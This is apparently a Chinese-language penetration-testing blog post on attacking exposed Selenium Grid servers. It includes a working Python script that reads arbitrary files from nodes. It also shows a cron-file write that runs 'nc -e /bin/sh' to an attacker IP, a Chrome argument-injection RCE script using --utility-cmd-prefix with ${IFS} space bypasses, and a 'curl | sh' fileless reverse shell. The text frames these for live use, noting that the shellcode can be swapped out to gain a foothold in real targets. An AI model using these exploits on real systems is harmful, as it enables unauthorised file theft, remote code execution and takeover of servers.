记一次曲折渗透selenium-server

selenium server本地环境部署

chromedriver放在该目录下,最好使用绝对路径

1
2
3
4
5
启动hub节点
java -Dwebdriver.chrome.driver=./chromedriver.exe -jar selenium-server-standalone-3.141.59.jar -role hub
启动node节点 可起多个
java -jar selenium-server-standalone-3.141.59.jar -role node -port 5556 -hub (hub节点的机器)
ps:不启动node节点的情况无法RCE

攻击只会攻击node节点的机器,hub节点的机器不会被攻击。

目前环境:
win7 chrome 86.0.4240.75
hub节点:localhost:4444
node节点:localhost:5556

三种启动模式

  • 普通模式:负责接收远程Selenium客户端发送的指令,并执行该指令。
  • Hub模式:组建Selenium Grid时,作为中心管理服务,负责接收本地或远程Selenium客户端发送的指令,并将指令分发给Node。
  • Node模式:组建Selenium Grid时,作为节点服务,负责接收Hub发送的指令,并执行该指令。

两种启动方式

1.参数配置,命令行启动
2.配置文件方式

1
2
3
4
# 启动hub
java -jar selenium-server-standalone-3.141.59.jar -role hub -hubConfig hub.json
# 启动node
java -jar selenium-server-standalone-3.141.59.jar -role node -hub http://localhost:4444/grid/register -nodeConfig node.json

配置node.json和hub.json(目标机器就是通过这中方式启动的,/grid/console中可以看见)
开启Selenium Server交互模式的命令为“java -jar selenium-server.jar -interactive”

任意文件读取

通过调用浏览器使用file协议读取本地文件,实战中最好加上以下参数。

设置参数

1
2
options.add_argument("--no-sandbox")
options.add_argument('--headless')

我在另外一台linux机器起一个node节点服务(谷歌版本和chromedriver版本和hub节点的不一致),最终还是会读取到文件。
1

利用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sys, getopt
from selenium import webdriver,common
from selenium.webdriver.chrome.options import Options


hub_url, remote_file, browser = None, None, 'chrome'
myopts, args = getopt.getopt(sys.argv[1:],':h:r:b:')
for o, a in myopts:
if o == '-h':
hub_url = a
elif o == '-r':
remote_file = a
elif o == '-b':
browser = a


# Nothing special about the driver here. Probably would work on any browser
#chrome_options =Options()
#chrome_options.add_argument('--no-sandbox')
#chrome_options.add_argument('--disable-dev-shm-usage')
#chrome_options.add_argument('--headless')
options = webdriver.ChromeOptions()
options.add_argument("--no-sandbox")
options.add_argument('--headless')
driver = webdriver.Remote(
command_executor=hub_url,
desired_capabilities={'browserName': browser},options=options,
)
# Just get the local file and print it.
try:
driver.get('file://%s' % (remote_file))
print(driver.page_source)
finally:
driver.quit()
sys.exit(0)

文件上传写计划任务

其原理就是通过控制浏览器的下载路径配合SSRF实现写入计划任务。

首先看一下能否写入成功,经过测试,在无头模式下是可以下载文件到指定目录的,也就实现了文件上传

2

3
目标为linux环境的话可直接写入计划任务,本地测试时kali下权限都必须都是root权限,其他linux没测试过。

echo “* * * * * root nc -e /bin/sh 172.16.250.1 8888” > /etc/cron.d/2
ps:要加username字段并且不需要赋予权限。

1
2
3
4
/etc/crontab 可能有权限的问题,centos不受影响
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

SSRF 利用chrome rce

条件:
1.Chrome版本低于89.0.4389.114,/grid/console能查看版本
2.本地测试需要是headless模式下,并且需要开启–no-sandbox
3.目标机器出网(爬虫服务器一般都会出)

发送请求过多会导致超时,应该是本地只开了一个节点的问题。
这个是非必要条件:option.add_experimental_option(“detach”, True) 设置不退出浏览器参数

写了个java利用小工具

4
5

这里只是弹了个计算机,实战修改shellcode上线就可以。

Chrome 参数注入–>RCE

只需要添加参数chrome_options.add_argument(“–utility-cmd-prefix=”+payload)就可以实现。
python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities

payload='/bin/bash -c touch${IFS}/var/hahah'
# payload = '/bin/bash -c ping${IFS}-c${IFS}1${IFS}fpu3zw.dnslog.cn #'
# execute chrome arguments
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--utility-and-browser")
chrome_options.add_argument("--utility-cmd-prefix="+payload)
chrome_options.add_argument('--headless')
chrome_options.add_argument("--user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.50 Safari/537.36'")


driver = webdriver.Remote(
command_executor='http://192.168.175.130:4444/wd/hub',
desired_capabilities=DesiredCapabilities.CHROME,
options=chrome_options
)
driver.get("https://baidu.com")
driver.quit()

但是执行命令目标为linux环境时命令中的空格需要通过${IFS}绕过,或者编码一下(http://www.jackson-t.ca/runtime-exec-payloads.html)

不足就是会一直执行该命令,解决方法是通过python编写一个socket起一个服务请求一次就断开
curl http://ip:9999 | sh 不落地反弹shell

这里Windows测试更为直观,实战环境是Linux直接反弹shell。
6

windows下尝试%CommonProgramFiles:~10,1%绕过空格不行,目前只能以绝对路径执行文件,可以配合文件下载直接上线cs。